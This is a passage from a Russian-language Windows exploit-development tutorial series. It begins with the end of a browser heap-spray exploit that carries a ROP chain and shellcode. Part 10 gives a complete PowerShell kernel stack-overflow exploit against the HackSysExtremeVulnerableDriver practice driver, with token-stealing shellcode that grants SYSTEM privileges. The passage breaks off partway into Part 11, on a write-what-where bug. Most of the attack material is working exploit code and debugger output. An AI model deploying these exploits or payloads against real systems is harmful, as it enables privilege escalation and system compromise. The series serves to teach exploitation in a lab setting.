    "%u5c30%u7c34" + // 0x7c345c30 : ptr to "push esp #  ret " [msvcr71.dll]
    
    //-------------------------------------------------[ROP Epilog]-//
    // After calling VirtalProtect() we are left with some junk.
    //--------------------------------------------------------------//
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" + // Junk
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u04eb" + // 0xeb04 short jump to get over what used to be EIP
    
    //-------------------------------------------[EIP - Stackpivot]-//
    // EIP = 0x7c342643 # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
    //--------------------------------------------------------------//
    "%u8b05%u7c34" + // 0x7c348b05 : # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
    
    //--------------------------------------------------[shellcode]-//
    // js Little Endian Messagebox => "Bang, bang!"
    //--------------------------------------------------------------//
    "%ud1bb%u6f46%ud9e9%ud9c7%u2474%u5af4%uc931%u40b1%uc283%u3104%u115a%u5a03%ue211" +
    "%u9f24%u7284%u541f%u717f%u47ae%u0ecd%uaee1%u7a56%u0170%u0a1c%uea7e%uef54%uaaf5" +
    "%u8490%u1377%uac2a%u1cbf%ua434%ufb4c%u9745%u1d4d%u9c25%ufadd%u2982%u3f58%u7940" +
    "%u474a%u6857%ufd01%ue74f%u224f%u1c71%u168c%u6938%udc66%u83bb%u1db7%u9b8a%u4d4b" +
    "%udb69%u89c7%u13b3%u972a%u47f4%uacc0%ub386%ua600%u3797%u6c0a%ua359%ue7cc%u7855" +
    "%ua29b%u7f79%ud970%uf486%u3687%u4e0f%udaa3%u8c71%uea19%uc658%u0ed4%u2413%u5e8e" +
    "%ua76a%u0da2%u289b%u4dc5%udea4%ub67c%u9fe0%u54a6%ue765%ubd4a%u0fd8%u42fc%u3023" +
    "%uf889%ua7d4%u6ee5%u76c5%u5d9d%u5737%uca39%ud442%u78a4%u4625%u7702%u91bc%u781c" +
    "%u59eb%u4429%ud944%ueb81%ua128%uf756%u8b96%u69b0%ud428%u02bf%u0b8e%uf31f%u2e46" +
    "%uc06c%u9ff0%uae49%ufba1%u2669%u6cba%u5f1f%u351c%ub3b7%ua77e%ua426%u463c%u53c6" +
    "%u41f0%ud09e%u5ad6%u0917%u8f27%u9975%u7d19%ucd86%u41ab%u1128%u499e");
    
    for (p = 0; p < padding_size; p++){
    Padding += unescape('%ub33f');}
    
    for (c = 0; c < block_size; c++){
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
    
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
    
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
 
    var data;
    var objArray = new Array(1150);
  
    setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
  
    //CollectGarbage();
  
        for (var i=0;i<1150;i++){
            objArray[i] = document.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
  
        setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
  
</script>
</head>
<body>
<p> </p>
</body>
</html>

10.png
 
Часть 10: Эксплуатация Ядра -> Переполнение стека

Hola, и добро пожаловать обратно в 10 часть этой серии. Я возвращаюсь после 3+ лет перерыва! Мы начнем наше путешествие внуть системы до самого ядра и постепенно будем решать новые задачи, стоящие перед нами! В этой части мы рассмотрим простое переполнение стека в пространстве ядра в Windows 7 (без SMEP и SMAP). Наша цель здесь - 32-разрядная система, но это не дает нам преимущества. С некоторыми незначительными изменениями можно использовать тот же эксплоит для работы на 64-битной версии.

Для нашего целевого драйвера мы будем использовать превосходный проект @HackSysTeam. Ребята создали демо-драйвер с множеством уязвимостей встроенных для практики эксплуатации ядра, sw33t! Хорошо, давайте перейдем к делу!

Ресурсы

+ HackSysExtremeVulnerableDriver (hacksysteam) - (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
+ Kernel Data Structures (CodeMachine) - (http://www.codemachine.com/article_kernelstruct.html)
+ x64 Kernel Privilege Escalation (McDermott) - (http://mcdermottcybersecurity.com/articles/x64-kernel-privilege-escalation)
+ Abusing GDI for ring0 exploit primitives (Core Security) - (https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives)
+ VirtualKD - (http://virtualkd.sysprogs.org/)
+ Kernel debugging with IDA Pro, Windbg plugin and VirtualKd (hexblog) - (http://www.hexblog.com/?p=123)
+ OSR Driver Loader - (https://www.osronline.com/article.cfm?article=157)

Настройка среды

Просто для этой первой части я хочу кратко коснуться среды отладки, так как ее настройка была для меня болезненной. В частности, эта настройка предназначена для пользователей с Windows.

Сначала возьмите VirtualKD по ссылке выше и после распаковки установите целевой компонент на виртуальную машину в которой вы будете отлаживать.

1.png


Как только это будет сделано, запустите двоичный файл vmmon на своей базовой машине (x32/x64) и перезапустите нужную виртуальную машину. Вы должны увидеть что-то вроде этого.

2.png


Если вы настроили "Debugger path...", укажите его в WinDBG на вашей базовой машине, а затем выберите вариант загрузки VirtualKD на виртуальной машине, которую вы должны автоматически подключить к машине. Всё это легко и безболезненно!

3.png


Осталось только загрузить уязвимый драйвер. Для этого возьмите загрузчик драйвера OSR по ссылке выше (вам нужно будет зарегистрироваться по одноразовой электронной почте). Запустите загрузчик OSR и зарегистрируйте службу (может потребоваться перезагрузка), после этого нажмите кнопку обзора, выберите драйвер и нажмите кнопку запуска службы. Если все правильно, вы должны увидеть что-то вроде этого.

4.png


Если вы подключены к машине с WinDBG, вы можете проверить, что драйвер был успешно загружен, с помощью команды "lm".

5.png


При желании смотрите также руководство по подключению IDA Pro к VirtualKD. Даже если у вас нет IDA Pro, я рекомендую скачать бесплатную версию, чтобы получить доступ к графическому представлению. Вы можете вручную переустановить драйвер, чтобы он соответствовал тому, что вы видите в WinDBG (Правка -> Сегменты -> Перебазировать программу). Таким образом, вы можете визуально увидеть, что происходит, какие адреса использовать, и вручную перенести эту информацию в WinDBG.

Состязание

Хорошо, как упоминалось выше, в этой части мы решаем задачу переполнения стека. Поскольку HackSysTeam предоставляет нам исходник драйвера, мы также можем взглянуть на соответствующую часть!

C:
NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size)
{
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = {0};

    PAGED_CODE();

    __try {
        // Убедитесь, что буфер находится в пользовательском режиме
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
        // Примечание безопасности: это безопасно, потому что разработчик передает размер
        // равному размеру KernelBuffer для функции RtlCopyMemory()/memcpy().
        // Следовательно, переполнения не будет
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
        DbgPrint("[+] Triggering Stack Overflow\n");

        // Примечание уязвимости: Это уязвимость, связанная с ванильнывм переполнением стека
        // потому что разработчик передает предоставленный пользователем размер непосредственно в функцию
        // RtlCopyMemory()/memcpy() без проверки, если размер больше или равен размеру KernelBuffer.
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

Функция RtlCopyMemory принимает указатель на буфер ядра, указатель на входной буфер и целое число, чтобы знать, сколько байтов нужно скопировать. Очевидно, здесь есть проблема: в уязвимой версии размер буфера основан на размере входного буфера, тогда как в защищенной версии размер ограничен размером буфера ядра. Если мы вызовем эту функцию драйвера и передадим ей буфер, который больше, чем буфер ядра, мы должны получить какой-то примитив эксплоита!

Хорошо, давайте посмотрим на таблицу IrpDeviceIoCtlHandler в IDA. Здесь драйвер сравнивает входной код IOCTL с теми, о которых он знает.

6.png


Довольно много кодов IOCTL! Переходя к левой части этого графика, мы видим следующее.

7.png


Мы можем видеть, что если код IOCTL равен 0x222003, мы перейдем к вызову функции TriggerStackOverflow. Потратьте некоторое время, чтобы исследовать этот оператор switch. По сути, входной код IOCTL сравнивается с помощью инструкции больше/меньше, для ветвления, а затем вычитается до тех пор, пока не будет найден правильный код или пока оператор switch не достигнет блока "Invalid IOCTL.."

Рассматривая функцию TriggerStackOverflow, мы можем более или менее увидеть то, что мы нашли в источнике, заметим также, что длина буфера ядра составляет 0x800 (2048).

8.png


Поимей все вещи!

Контроль EIP


У нас есть вся необходимая информация. Давайте попробуем вызвать уязвимый метод и передать ему некоторые данные. Это код шаблона, который я придумал в PowerShell.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);

    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

$Buffer = [Byte[]](0x41)*0x100
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222003`n"
[EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)
|Out-null

9.png


Отлично. Из вывода отладчика мы видим, что нам удалось вызвать нашу целевую функцию. Очевидно, мы не посылаем достаточно данных, чтобы вызвать переполнение. Давайте попробуем это снова, но отправим буфер размером 0x900 (2304) байтов.

10.png


Итак, нам удалось вызвать BSOD виртуальной машины, выполнив некоторые незначительные вычисления. Мы можем узнать точное смещение к регистру EIP (и регистру EBP в этом отношении). Я оставляю это как упражнение для читателя (pattern_create - ваш друг). Давайте изменим наш POC и снова запустим переполнение.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);

    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

#---[EIP control]
# 0x41 = 0x800 (buffer allocated by the driver)
# 0x42 = 28 (filler)
# 0x43 = 4 (EBP)
# 0x44 = 4 (EIP)
#---
$Buffer = [Byte[]](0x41)*0x800 + [Byte[]](0x42)*28 + [Byte[]](0x43)*4 + [Byte[]](0x44)*4
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222003`n"
[EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)
|Out-null

11.png


Шеллкод

Таким образом, у нас есть код exec в пространстве ядра, но мы не можем просто выполнить любой шеллкод, какой захотим! Есть много вещей, которые мы можем попробовать (например, написание стэйджер шеллкод для пользовательского режима), но я думаю, что пока лучше придерживаться простой атаки на повышение привилегий.

В Windows все объекты имеют дескрипторы безопасности, которые определяют, кто может выполнять какие действия с данным объектом. Существует много видов токенов, которые описывают такие разрешения доступа, но у токена "NT AUTHORITY\SYSTEM" больше всего привилегий. То есть он может выполнять любые действия с любым объектом в системе (вроде как, это сложно mmkay). На самом базовом уровне, что мы хотим, чтобы наш шеллкод делал: 1) нашел токен текущего процесса (powershell), 2) сделал цикл по списку процессов, пока мы не найдем системный процесс (PID 4 хорош, потому что это PID статического системного процесса), 3) нашел маркер этого процесса и 4) перезаписал наш токен.

Поскольку написание шеллкода займет много времени, в связи с тем, что вам нужно найти несколько статических смещений, я не буду здесь описывать этот процесс. Подробное описание можно найти здесь (http://mcdermottcybersecurity.com/articles/x64-kernel-privilege-escalation): статья "Повышение привилегий ядра x64" . Кроме того, драйвер HackSysTeam поставляется с примерами полезных данных, которые можно найти здесь (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Source/Payloads.c). Общую структуру шеллкода можно увидеть ниже.

Код:
#---[Установка]
pushad                             ; Сохраняем регистр статуса
mov eax, fs:[KTHREAD_OFFSET]       ; nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET]   ; nt!_KTHREAD.ApcState.Process
mov ecx, eax
mov ebx, [eax + TOKEN_OFFSET]      ; nt!_EPROCESS.Token
#---[Копируем токен System PID]
mov edx, 4                         ; PID 4 -> System
mov eax, [eax + FLINK_OFFSET] <-|  ; nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET           |
cmp [eax + PID_OFFSET], edx     |  ; nt!_EPROCESS.UniqueProcessId
jnz                           ->|  ; Цикл !(PID=4)
mov edx, [eax + TOKEN_OFFSET]      ; System nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx      ; Заменяем токен PowerShell
#---[Восстанавливаем]
popad

Это решение исправно, но отсутствует одна вещь. Когда мы запускаем переполнение и запускаем наш шеллкод, мы слегка путаем стек. Мы хотим, чтобы наш шеллкод добавлял недостающие инструкции, чтобы не дублировать поле после дублирования системного токена.

Более тщательное изучение сбоя показывает, что мы фактически получаем контроль над регистром EIP, перезаписывая адрес возврата при выходе из функции TriggerStackOverflow.

12.png


Давайте разместим точку останова на этом адресе и отправим драйверу небольшой буфер, чтобы мы могли видеть, что должно происходить во время обычного выполнения.

Код:
****** HACKSYS_EVD_STACKOVERFLOW ******
[+] UserBuffer: 0x01F454A8
[+] UserBuffer Size: 0x100
[+] KernelBuffer: 0x93E933B4
[+] KernelBuffer Size: 0x800
[+] Triggering Stack Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x45ce:
936045ce c20800     ret     8     <-------[Stack]  93e93bd4 936045f4 HackSysExtremeVulnerableDriver+0x45f4
                                                   93e93bd8 01f454a8
                                                   93e93bdc 00000100
                                                   93e93be0 93e93bfc
                                                   93e93be4 9360503d HackSysExtremeVulnerableDriver+0x503d
HackSysExtremeVulnerableDriver+0x45f4:
936045f4 5d         pop     ebp   <-------[Stack]  93e93be0 93e93bfc
                                                   93e93be4 9360503d HackSysExtremeVulnerableDriver+0x503d
                                                   93e93be8 856cc268
HackSysExtremeVulnerableDriver+0x45f5:
936045f5 c20800     ret     8     <-------[Stack]  93e93be4 9360503d HackSysExtremeVulnerableDriver+0x503d
                                                   93e93be8 856cc268
                                                   93e93bec 856cc2d8
                                                   93e93bf0 84be4a80

Теперь давайте посмотрим, как выглядит стек, когда мы запускаем переполнение.

Код:
****** HACKSYS_EVD_STACKOVERFLOW ******
[+] UserBuffer: 0x01DE8608
[+] UserBuffer Size: 0x824
[+] KernelBuffer: 0x93B4B3B4
[+] KernelBuffer Size: 0x800
[+] Triggering Stack Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x45ce:
936045ce c20800     ret     8     <-------[Stack]  93b4bbd4 44444444
                                                   93b4bbd8 01de8608
                                                   93b4bbdc 00000824
                                                   93b4bbe0 93b4bbfc
                                                   93b4bbe4 9360503d HackSysExtremeVulnerableDriver+0x503d

К счастью, поскольку мы делаем точную перезапись, это не так уж плохо. После запуска шелл-кода нам просто нужно эмулировать инструкции "pop ebp" и "ret 8". Таким образом поток выполнения будет перенаправлен обратно на HackSysExtremeVulnerableDriver + 0x503d. Хотя это не очевидно, мы также хотим обнулить регистр EAX, так как это заставит его выглядеть так, будто функция драйвера вернула NTSTATUS-> STATUS_SUCCESS (0x00000000).

Это должно сделать свое дело! Окончательный шеллкод можно увидеть ниже:

Код:
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0x31, 0xC0,                         # NTSTATUS -> STATUS_SUCCESS :p
    0x5D,                               # pop ebp
    0xC2, 0x08, 0x00                    # ret 8

В дополнение к этому, я выписал сборку и скомпилировал ее с помощью Keystone Engine (https://github.com/FuzzySecurity/CapstoneKeystone-PowerShell)

Коней игры

Теперь у нас есть все, что нам нужно. Все, что осталось, - это разместить наш шеллкод в памяти и перезаписать регистр EIP его адресом. Помните, что память шеллкода должна быть помечена как Чтение/Запись/Выполнение. Полный эксплойт можно увидеть ниже.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class EVD
{
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc
    (
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect
    );
 
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile
    (
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile
    );
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl
    (
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped
        );
 
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
 
# Скомпилирован с помощью Keystone-Engine
# Жестко защитые смещения для Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Установка]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Копируем токен System PID]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Восстанавливаем]
    0x61,                               # popad
    0x31, 0xC0,                         # NTSTATUS -> STATUS_SUCCESS :p
    0x5D,                               # pop ebp
    0xC2, 0x08, 0x00                    # ret 8
)
 
# Пишем шеллкод в память
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$EIP = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: $("{0:X8}" -f $Pointer.ToInt32())"
 
# Поулчаем дескриптор драйвера
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
# HACKSYS_EVD_STACKOVERFLOW IOCTL = 0x222003
#---
$Buffer = [Byte[]](0x41)*0x800 + [Byte[]](0x42)*32 + $EIP
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222003`n"
[EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)
|Out-null

13.png
 
Часть 11: Эксплуатация Ядра -> Write-What-Where

Hola и добро пожаловать обратно в 11 часть серии туториалов по разработке эксплоитов для Windows. Сегодня мы будем эксплуатировать уязвимость ядра "Write-What-Where, используя крайне уязвимый драйвер от @HackSysTeam. Более подробную информацию о настройке среды отладки смотрите в части 10 этого руководства.

Ресурсы

+ HackSysExtremeVulnerableDriver (hacksysteam) - (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
+ Driver write-what-where vulnerability - (http://www.dimitrifourny.com/2014/03/16/driver-write-what-where-vulnerability/)
+ Arbitrary Memory Overwrite exploitation using HalDispatchTable - (https://poppopret.blogspot.co.uk/2011/07/windows-kernel-exploitation-basics-part.html)

Примите вызов на дуэль

Давайте посмотрим на часть рассматриваемой уязвимой функции (https://github.com/hacksysteam/Hack...lob/master/Driver/Source/ArbitraryOverwrite.c).

C:
Let's have a look at part of the vulnerable function in question (here).

?
NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere)
{
    NTSTATUS Status = STATUS_SUCCESS;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(WRITE_WHAT_WHERE));

        DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
        DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
        DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", UserWriteWhatWhere->What);
        DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", UserWriteWhatWhere->Where);

#ifdef SECURE
        // Secure Note: This is secure because the developer is properly validating if address
        // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
        // routine before performing the write operation
        ProbeForRead((PVOID)UserWriteWhatWhere->Where, sizeof(PULONG), (ULONG)__alignof(PULONG));
        ProbeForRead((PVOID)UserWriteWhatWhere->What, sizeof(PULONG), (ULONG)__alignof(PULONG));

        *(UserWriteWhatWhere->Where) = *(UserWriteWhatWhere->What);
#else
        DbgPrint("[+] Triggering Arbitrary Overwrite\n");

        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        *(UserWriteWhatWhere->Where) = *(UserWriteWhatWhere->What);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

Драйвер берет два указателя. Один показывает, что драйвер будет записывать его в память, а другой — в место, куда драйвер будет писать. Опять же, отличная работа по демонстрации уязвимости и того, что было бы безопасной реализацией. Проблема здесь заключается в том, что драйвер не проверяет, находится ли указатель назначения в пользовательском пространстве, поэтому мы можем перезаписать произвольный адрес ядра (4 байта) и произвольное значение (4 байта).

Ранее мы видели, как получить IOCTL функции путем анализа таблицы IrpDeviceIoCtlHandler. Здесь мы рассмотрим другой метод. Это все функции, определенные в заголовке драйвера (https://github.com/hacksysteam/Hack...river/Source/HackSysExtremeVulnerableDriver.h).

C:
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW                  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800,
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS               CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801,
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE             CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802,
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_POOL_OVERFLOW                   CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803,
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT             CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804,
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_USE_UAF_OBJECT                  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805,
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT                 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806,
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT            CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807,
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_TYPE_CONFUSION                  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808,
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW                CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809,
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE        CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A,
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B,
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE     CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C,
METHOD_NEITHER, FILE_ANY_ACCESS)

Коды управления вводом/выводом (IOCTL) состоят (https://msdn.microsoft.com/en-us/library/windows/hardware/ff543023(v=vs.85).aspx) из нескольких различных компонентов (тип, код, метод, доступ). Интересно, что в комплекте драйверов для Windows есть стандартный макрос, который можно использовать для определения новых кодов IOCTL. Мы можем фактически извлечь все действительные IOCTL, эмулируя функциональность макроса, как показано ниже.

Код:
PowerShell v3+:
